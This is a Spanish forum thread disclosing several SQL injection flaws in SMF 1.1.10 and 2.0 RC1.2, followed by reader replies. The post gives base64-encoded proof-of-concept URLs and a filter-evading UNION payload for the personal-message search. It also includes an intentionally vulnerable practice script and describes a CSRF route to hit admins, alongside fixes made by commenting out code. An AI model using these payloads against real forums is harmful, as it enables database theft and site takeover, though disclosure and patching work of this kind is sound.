Múltiples inyecciones SQL en SMF <= 1.1.10 y 2.0 <= RC1.2

Iniciado por WHK, 7 Octubre 2009, 11:12 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Bueno,... encontré varias inyecciones SQL en SMF (Simple Machines Forum) en todas las versiones de SMF actuales (1.1.10 y 2.0 rc1.2) y versiones anteriores.

Antiguamente me la pasaba posteando bugs de este sistema WEB y les avisaba con anterioridad a los autores pero ni una sola ves me hicieron caso, tales como:
http://foro.elhacker.net/nivel_web/bug_en_smf_118_y_119-t255613.0.html
y otros mas por ahi xD

Por lo tanto esta ves no avisé ni avisaré tampoco, si quieren reparar el bug que vengan, lean, usen un traductor no se.

Estas fallas de seguridad ya están parchadas en este foro y en el mio xD pero les mostraré también como parcharlo.

Ínyección SQL remota I
Como dicen, el problema está entre el asiento y el teclado, basta con dar un vistazo al archivo Sources/ManageMembers.php linea 405 y 453:
Código (php) [Seleccionar]
// If the query information was already packed in the URL, decode it.
// !!! Change this.
elseif ($context['sub_action'] == 'query')
$where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));

Código (php) [Seleccionar]
// Calculate the number of results.
if (empty($where) or $where == '1')
$num_members = $modSettings['totalMembers'];
else{
$request = db_query("
SELECT COUNT(*)
FROM {$db_prefix}members
WHERE $where", __FILE__, __LINE__);
list ($num_members) = mysql_fetch_row($request);
mysql_free_result($request);
}


Como me decía sdc este es el típico caso de "a mi me da flojera arreglarlo, que lo haga otro" ya que la falla es evidente e incluso está marcado por los propios programadores que debe ser cambiado, por lo tanto en alguna ocación supieron de este problema pero nunca lo terminaron de codear.

PoC:
Si vamos a la sección
http://127.0.0.1/smf/index.php?action=permissions
veremos varios grupos de usuarios y al costado derecho la cantidad de usuarios por cada grupo, ahora... ese enlace es un tanto espacial (especial) ya que si le damos click al primero tal como se ve en la imagen:


Veremos un enlace que nos lleva acá:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=SURfR1JPVVAgPSAw

Si analizamos el enlace podemos darnos cuenta de dos grandes detalles, el primero es que no nos solicita el token de seguridad "SC" por lo tanto esta url puede ejecutarse de forma arbitraria con tan solo redireccionar al que tenga acceso a esta sección para que se le ejecute y el segundo detalle es el valor de la variable "params", lo desciframos en base 64 y nos revela esto:

CitarID_GROUP = 0

Por lo tanto esa variable pasa a ser escrita directamente en la query MySQL sin token ni nada.

Si escribimos una comilla simple, lo ciframos en base64 y se lo ponemos en la url podremos ver esto:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=Jw==


Esto ocurre porque SMF filtra cada petición POST y GET agregando slashses y cuanta cosa pero en este caso la petición va encapsulada en un cifrado de base64 asi que ese filtro se evade.
Este sistema que ellos implementan es seguro para la gente que hace mods ya que los filtros pasan por defecto en las peticiones pero el problema esque si encuentras un hueco como este puedes causarle un daño mayor al mismo sistema, no hacen querys seguras sino filtros seguros para proteger a los modulos pero para mi no me gusta, yo soy de la idea de crear códigos seguros y peticiones libres aunque como este es un sistema público creo que no quedaba otra ya que nunca se sabe como codean los terceros.

Por o tanto si queremos practicar para ver las posibilidades de una inyección + csrf para ver las posibilidades de actualizar perfiles, dumpear bases de datos, etc podemos practicar acá:
Código (php) [Seleccionar]
<?php

$inyeccion 
$_GET['inyeccion'];

/* BUG */
$handle mysql_connect('localhost''root''123456');
mysql_select_db('smf'$handle);
$request mysql_query("SELECT COUNT(*) FROM smf_members WHERE $inyeccion");
/* BUG */

if(!$request){
 echo 
'Error ('.mysql_errno($handle).'): '.mysql_error($handle);
}else{
 while(
$fila mysql_fetch_array($requestMYSQL_ASSOC)){
  
$retorno[] = $fila;
 }
 
mysql_free_result($request);
 
print_r($retorno);
}

mysql_close($handle);
?>


Se usa así: test.php?inyeccion= mi inyección acá
Y cuando tu inyección funcione bién podrás hacer el exploit (que aun no existe porque se supone que nadie mas lo conoce xD).

Ínyección SQL remota 2
Si buscamos patrones dentro del código fuente de SMF podemos darnos cuenta que esto se repite en tres partes mas que son:

Sources/ModLog.php linea 87
Sources/PersonalMessage.php linea 613 y 700
Sources/Search.php linea 81 y 311

sirdarckcat tenía razó cuando me dijo que probablemente estas otras secciones también podrían tener problemas de inyección SQL ya que me puse a testear los códigos y justamente si eran vulnerables.

La falla está en la sección de logs de moderación:
Sources/ModLog.php linea 84 al 92:
Código (php) [Seleccionar]
// If we're coming from a search, get the variables.
if (isset($_REQUEST['params'])){
$search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
$search_params = @unserialize($search_params);

// To be sure, let's slash all the elements.
foreach ($search_params as $key => $value)
$search_params[$key] = addslashes($value);
}


El mismo archivo en la linea 169:
Código (php) [Seleccionar]
// Count the amount of entries in total for pagination.
$result = db_query("
SELECT COUNT(*)
FROM {$db_prefix}log_actions AS lm
LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = lm.ID_MEMBER)
LEFT JOIN {$db_prefix}membergroups AS mg ON (mg.ID_GROUP = IF(mem.ID_GROUP = 0, mem.ID_POST_GROUP, mem.ID_GROUP))" . (!empty($search_params['string']) ? "
WHERE INSTR($search_params[type_sql], '$search_params[string]')" : ''), __FILE__, __LINE__);
list ($context['entry_count']) = mysql_fetch_row($result);
mysql_free_result($result);


Si se van a la sección de logs de moderación verán un pequeño buscador abajo, le ponen lo que sea y luego cuando aparezcan los resultados le hacen click en "Grupo" para ordenar los resultados por grupo y les aparecerá algo como esto:
http://127.0.0.1/smf/index.php?action=modlog;order=group;start=0;params=YTo0OntzOjY6InN0cmluZyI7czoyOiJsbCI7czo0OiJ0eXBlIjtzOjY6Im1lbWJlciI7czo4OiJ0eXBlX3NxbCI7czoxMjoibWVtLnJlYWxOYW1lIjtzOjEwOiJ0eXBlX2xhYmVsIjtzOjc6IlVzdWFyaW8iO30=

Déjà-vu... otraves sin token, por lo tanto es remoto.
Pasamos el valor params por la decodificación de base64 y encontramos este string:
Citara:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}
y nos damos cuenta que es un valor serializado por lo tanto:
Código (php) [Seleccionar]
<?php
$string 
'a:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}';
print_r(unserialize($string));
?>


Resultado:
CitarArray(
   [string] => ll
   [type] => member
   [type_sql] => mem.realName
   [type_label] => Usuario
)

Asi que ahora hacemos lo inverso pero con la inyección de prueba:
Código (php) [Seleccionar]
<?php
$string 
= array(
    
"'" => "'",
    
'string' => "ll",
    
'type' => 'member',
    
'type_sql' => '\'mem.realName',
    
'type_label' => 'Usuario'
);

echo 
base64_encode(serialize($string));

?>


Resultado:


Ínyección SQL remota 3
En algunas inyecciones necesitabas la intervención de alguien que tuviera mas acceso que tu a menos que fueras de algún grupo de usuario que pudieras ver las secciones vulnerables, si eres usuario normal necesitabas lanzar un csrf para hacer caer al admin o a alguien con derechos sin la necesidad de que hiciera click en ninguna parte como por ejemplo poniendo la url de la inyeccion como imagen en tu perfil y listo pero en este caso esta tercera inyeccion SQL no necesitas ningún permiso especial ya que se encuentra en el archivo de mensajes personales del usuario.

Si vas a tu bandeja de entrada verás que al costado isquierdo tienes una opción para hacer busquedas de mensajes, haces una busqueda que de muchos resultados como por ehemplo "re" (respuestas a mensajes) o "sin" (sin asunto) y cuando te muestre todos los mensajes le haces click en ordenar por mensaje o autor y verás que se fabrica una variable GET llamada "param" que contiene un valor en base64 nuevamente pero esta ves no son datos serializados.

http://127.0.0.1/smf/index.php?action=pm;sa=search2;start=0;params=YWR2YW5jZWR8J3wxfCJ8c2VhcmNodHlwZXwnfDJ8InxzdWJqZWN0X29ubHl8J3x8InxzaG93X2NvbXBsZXRlfCd8fCJ8dXNlcnNwZWN8J3xXSEt8Inxzb3J0X2RpcnwnfGRlc2N8Inxzb3J0fCd8SURfUE18InxsYWJlbHN8J3wwLDEsMiwzLDQsNSwtMXwifHNlYXJjaHwnfHNpbg==

Te dará resultado esa codificación:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

y el único vaor inyectable sin pasar por ningún tipo de filtro es "userspec" por lo tanto en ese lugar hacemos nuestra inyección pero tendrán varias complicaciones ya que SMF utiliza varios filtros como por ejemplo reemplazar comas, parentesis, asteriscos por porcentages, etc etc. pero primero les muestro donde está la falla antes de mostrarles como explotarlo.

Archivo Sources/PersonalMessage.php linea 613 y 700 donde se procesa en la linea 915 filtrado por Sources/Subs.php linea 238 en adelante y ejecutado en la linea 320:

Código (php) [Seleccionar]
$temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));

Código (php) [Seleccionar]
// Get the amount of results.
$request = db_query("
SELECT COUNT(*)
FROM ({$db_prefix}pm_recipients AS pmr, {$db_prefix}personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM" . ($context['folder'] == 'inbox' ? "
AND pmr.ID_MEMBER = $ID_MEMBER
AND pmr.deleted = 0" : "
AND pm.ID_MEMBER_FROM = $ID_MEMBER
AND pm.deletedBySender = 0") . "
$userQuery$labelQuery
AND ($searchQuery)", __FILE__, __LINE__);
list ($numResults) = mysql_fetch_row($request);
mysql_free_result($request);


Código (php) [Seleccionar]
// We don't use UNION in SMF, at least so far.  But it's useful for injections.
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Comments?  We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
// Trying to change passwords, slow us down, or something?
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
$fail = true;
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Sub selects?  We don't use those either.
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
$fail = true;


Bueno, ese filtro final es muy fácil de bypasear pero primero vamos a la estructuración de la inyección misma.

Para hacer nuestros test vamos al archivo subs/Subs.php linea 320 y donde dice:
Código (php) [Seleccionar]
$ret = mysql_query($db_string, $db_connection);
le ponemos:
Código (php) [Seleccionar]
/* TEST */
   if(eregi('union', $db_string)){
   echo nl2br($db_string).'<br /><br />';
$ret = mysql_query($db_string, $db_connection);
echo mysql_error($db_connection); // test
while($fila = mysql_fetch_array($ret, MYSQL_ASSOC)){
    foreach($fila as $variable => $valor){
 echo nl2br(htmlspecialchars($variable, ENT_QUOTES).' = '.htmlspecialchars($valor, ENT_QUOTES).'<br /><br />');
}
   }
//exit;
}else{
$ret = mysql_query($db_string, $db_connection);
}
/* TEST */


Con esto podremos capturar las inyecciones que intentaremos hacer.

Como ya habiamos dicho:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

Inyectamos así:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|whk') or pm.fromName like "|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|"/**/union/**/select/**/database(),user()/**/-- -
:xD :xD :xD
Ahora les explico este desmadre un poco...
Ciframos esto en base64 y se lo damos como param.
Primero que nada SMF filtra * por % asi que no podemos hacer la inyección completa en el nombre de usuario... hechemos un vistazo como queda la query inyectada:

Código (sql) [Seleccionar]

SELECT COUNT(*)
FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM
AND pmr.ID_MEMBER = 2
AND pmr.deleted = 0
AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#039;) or pm.fromName like "')

AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))<br /><br />COUNT(*) = 0



SELECT pm.ID_PM, pm.ID_MEMBER_FROM
FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM
AND pmr.ID_MEMBER = 2

AND pmr.deleted = 0
AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#039;) or pm.fromName like "')
AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))
ORDER BY ID_PM desc
LIMIT 0, 30


Bueno, lo que hicimos (esta inyección me ayudó muchisimo sirdarckcat) es escapar la query con comilla simple y parentesis, luego para poder invalidad el codigo siguiente habia la posibilidad de inyectar con "\" pero se filtraba, los puntos tambien los filtraba asi que se inyectó con una comilla doble diciendo que el resto de la query era parte de un string hasta terminar en las proximas comillas dobles... luego viene nuestra segunda variable inyectada que es search y fms también filtra los espacios en blanco por lo tanto la inyección la hicimos con /**/ y "`" para invalidar la siguiente string y dejar libre unicamente la union.
Ahora este valor se va a otra query que es la query siguiente y a esa query le deve llegar dos columnas o el array con dos dimensiones donde el valor de la dimension debe contener el string con la siguiente inyección sq y esa inyección nos devolverá el resutado de la base de datos con el hash del password del admin o lo que sea.

La inyección está inconclusa ya que debes fabricar la segunda inyección para poder obtener el dato que necesitas.
en esta parte por rasones claras no doy la inyección completa para evitar un ataque masivo a foros por parte de gente que no sabe inyectar.

Códigos pendientes por reparar (posibles bugs)
Revisando un poco mas a fondo el código de SMF me di cuenta que hay una persona dentro de los que codean este sistema que se dedica solamente a revisar código y dejar marcado ciertas secciones con posibles fallas a reparar, luego se toman esas marcas y se reparan pero en este caso pude observar que no todas  esas marcas son reparadas y muchas quedan inconclusas como este mismo bug de la inyección sql.
Si se fijan el mensaje de advertencia comienza con un comentario
Código (php) [Seleccionar]
// !!! comentario

Por lo tanto si buscamos esta marca en todos los archivos de SMF podemos encontrar mas de 40 archivos afectados con 599 firmas haciendo una busqueda con grep y en muchos casos dice: cambiar esto, eliminar esto, posible bug acá, por implementar, etc etc. Tal como se ve en la imagen:



Consecuencias
Robo de sesiones, robo de la base de datos comleta del foro, puedes comprometer al servidor ya que teniendo la sesion del administrador puedes subir mods con shells y scripts, y control TOTAL del sitio web.

Soluciones
En el archivo Sources/ModLog.php linea 86 dice así:
Código (php) [Seleccionar]
$search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código (php) [Seleccionar]
// $search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás la inyección SQL en la visualización de logs pero no podrás ordenar busquedas personalizadas con order by.

En el archivo Sources/ManageMembers.php linea 405 dice así:
Código (php) [Seleccionar]
$where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código (php) [Seleccionar]
// $where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás una inyección SQL en la administración de usuarios pero no podrás ordenar busquedas  por nombre, contenido, etc aunque si aparecerán los resultados pero en su orden original nada mas.

En el archivo Sources/PersonalMessage.php linea 611 a la 613 dice así:
Código (php) [Seleccionar]
  if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       $context['search_params'] = array();
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $context['search_params'][$k] = stripslashes($v);
       }
   }

debes comentarla para que quede así:
Código (php) [Seleccionar]
/*
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       $context['search_params'] = array();
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $context['search_params'][$k] = stripslashes($v);
       }
   }
*/

Con esto evitarás una inyección SQL en el buscador de mensajes personales aunque no podrán los usuarios ordenar busquedas por usuarios o mensajes, aunque de todas formas los mensajes aparecerán en el orden original como siempre.

En el archivo Sources/PersonalMessage.php linea 698 a la 706 dice así:
Código (php) [Seleccionar]
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $search_params[$k] = stripslashes($v);
       }
   }

debes comentarla para que quede así:
Código (php) [Seleccionar]
/*
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $search_params[$k] = stripslashes($v);
       }
   }
*/

Con esto evitas la misma inyección anteriormente mensionada.

Es recomendable que cuando salgan las futuras actualizaciones vuelvas a dejar los archivos como estaban antes y despues lo actualizes para que no interfieran los codigos en las actualizaciones automaticas ya que ese script busca patrones para poder reemplazar. Haz una backup de los archivos a modificar y cuando vayas a instalar la actualización oficial vuelves a dejar los archivos como estaban antes. Está claro que para esto debes dejar el foro en modo de mantención para que nadie deje su bot listo esperando a que intentes actualizar para hacer la inyección en medio segundo xD

Y eso es tod.. eso es tod... eso es todo amigos.


Mirror

berz3k

#1
@WHK

Muy Muy bueno, batante bien explicado y detallado, buen research!!!, buena aportacion para foro, congratulations!

- berz3k.


kamsky

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

Jubjub

Jugando con Fósforoshacking con un tono diferente


.
porno

Ari Slash


:ohk<any>

Y es que a veces pienso que si no estuviera loco no podría salir adelante.
Lo que no se es capaz de dar, en realidad no se posee, uno es poseído por ello.

Azielito

comentar para evitarlo =\ ?

No podrias tratar mejor la variable? o las variables en general? :D

http://azielito.blogspot.com/2008/03/programacion-segura-con-php-olvidate-de.html

Sé que no es la mejor opción, pero es solo dar una idea =\

WwW_®

Gracias por la info WHK, muy bién explicado, implementando ahora...  ;-) ;-)

0x0309

genial información, me ha gustado de verdad, yo miraba smf como algo bien seguro, pero por lo que dices, hay que revisarlo.

Voy a guardar este post.

WHK

SMF si es seguro, no existe un sistema que sea 100% seguro, solo es cosa de elegir los mejores y smf es bueno. Así como smf tiene fallas vbulletín tambien los tiene y phpbb tambien, ipboard, phorum, etc.

Para mi SMF, vbulletín e invasión power board son los mejores que hay.